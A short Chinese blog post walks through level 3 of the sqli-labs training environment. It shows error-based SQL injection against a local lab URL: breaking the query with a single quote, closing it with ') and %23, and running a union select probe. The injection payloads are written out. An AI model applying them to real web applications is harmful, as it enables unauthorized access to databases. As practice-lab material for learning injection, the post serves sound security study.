【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

时间：2018-01-18 23:04:58 阅读：573 评论：0 收藏：0 [点我收藏+]

实质上和less1没有多大区别，看懂了一样走流程

技术分享图片

提交参数

技术分享图片

加单引号

http://localhost/sqli/Less-3/?id=1‘

技术分享图片

观察报错,看near 和 at 的引号之间内容

‘1‘‘) LIMIT 0,1

1后面有一个 ‘ 是我们添加的，于是正常的sql语句应该是

select ... from ... where xx=(‘1‘) limit 0,1

于是构造

select ... from ... where xx=(‘1‘)#‘) limit 0,1

对应的GET请求为

http://localhost/sqli/Less-3/?id=1‘)%23

技术分享图片

union查询

http://localhost/sqli/Less-3/?id=a‘) union select 1,2,3%23

技术分享图片

后面的参照less1

贴一下源码

技术分享图片

原文地址：https://www.cnblogs.com/superkrissV/p/8313233.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

周排行